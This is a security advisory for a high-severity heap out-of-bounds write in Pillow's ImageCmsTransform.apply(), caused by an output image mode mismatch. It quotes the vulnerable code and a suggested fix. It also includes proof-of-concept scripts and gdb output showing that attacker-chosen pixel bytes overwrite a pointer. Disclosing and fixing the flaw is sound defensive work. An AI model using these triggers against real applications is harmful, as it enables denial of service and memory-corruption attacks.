GitHub Advisoryadvisory · PyPI
GHSA-9hw9-ch79-4vh6 Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch
HIGH
Official page ↗
- Aliases
- CVE-2026-59205
- Ecosystem
- PyPI
- Packages
- pillow
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-787
- Reviewed
- 2026-07-20
Affected packages
• PyPI pillow: < 12.3.0 → fixed in 12.3.0
Description
Summary
Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.
For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.
Details
`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller
supplied `imOut`:
```python
def apply(self, im, imOut=None):
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
```
If `imOut` is provided, Pillow does not check:
```text
im.mode == self.input_mode
imOut.mode == self.output_mode
```
The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:
```c
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
return -1;
}
for (i = 0; i ysize; i++) {
cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
}
pyCMScopyAux(hTransform, imOut, im);
return 0;
}
```
`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS
`TYPE_RGBA_8`, which writes 4 bytes per pixel:
```c
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
return TYPE_RGBA_8;
```
So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width`
bytes to each output row. If the supplied output image is mode `L`, Pillow only
allocated `1 * width` bytes for that row.
For width 4096:
```text
destination row allocation: 4096 bytes
LittleCMS write size: 16384 bytes
overflow: ~12288 bytes past the row
```
The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, `apply()` returned to Python and printed `after`; glibc
detected the corrupted heap later during cleanup.
PoC
Tiny heap corruption trigger:
```python
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")
```
Observed locally on Pillow `12.3.0.dev0`:
```text
before
after
free(): invalid next size (normal)
Aborted (core dumped)
```
Controlled overwrite evidence PoC:
```python
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)
```
Run under gdb:
```bash
gdb -q --batch -ex run -ex bt --args \
python3 b022_controlled.py
```
Observed on Pillow `12.3.0.dev0`:
```text
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
1 _cmsLockPrimitive (m=0x4443424144434241)
2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
4 cmsSaveProfileToIOhandler(...)
5 cmsSaveProfileToMem(...)
6 cms_profile_tobytes (...) at src/_imagingcms.c:152
```
`0x4443424144434241` is the attacker-controlled source pixel pattern
`b"ABCDABCD"` interpreted as a little-endian pointer-sized value.
Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of
`0x403020104030201`, matching the repeated pixel bytes.
Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
`ImageCmsTransform.apply()`. The source image pixels influence the bytes written
out of bounds.
Suggested fix
Validate modes before calling into the native transform:
```python
def apply(self, im, imOut=None):
if im.mode != self.input_mode:
raise ValueError("input mode mismatch")
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
elif imOut.mode != self.output_mode:
raise ValueError("output mode mismatch")
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
```
The C extension should also defensively reject mismatched image modes before
calling `cmsDoTransform()`.
Related
Alias · CVE (1)
- CVE-2026-59205 Pillow is a Python imaging library. vulnerability
Weakness · CWE (1)
- CWE-787 Out-of-bounds Write weakness
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-59205 advisory
- https://github.com/python-pillow/Pillow/pull/9715 web
- https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721 web
- https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml web
- https://github.com/python-pillow/Pillow package
- https://github.com/python-pillow/Pillow/releases/tag/12.3.0 web